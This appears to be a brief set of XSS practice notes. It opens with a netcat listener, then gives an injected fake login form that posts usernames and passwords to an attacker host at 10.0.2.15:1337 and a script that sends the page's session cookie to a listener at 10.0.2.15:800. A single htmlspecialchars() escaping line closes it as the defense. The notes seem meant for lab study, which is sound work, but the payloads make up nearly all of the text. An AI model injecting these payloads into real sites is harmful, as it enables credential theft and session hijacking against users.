Practice on Cross-Site Scripting (XSS) attacks: stealing credentials via Netcat, session cookie theft, and using htmlspecialchars() as a defense.
nc -lvp 1337
<form action="http://10.0.2.15:1337">
<input type="text" name="username">
<input type="password" name="password">
<input type="submit" value="Login">
</form>
<script>img=new Image();img.src="http://10.0.2.15:800/a.php?"+document.cookie;</script>
$input = htmlspecialchars($_POST['data'], ENT_QUOTES, 'UTF-8');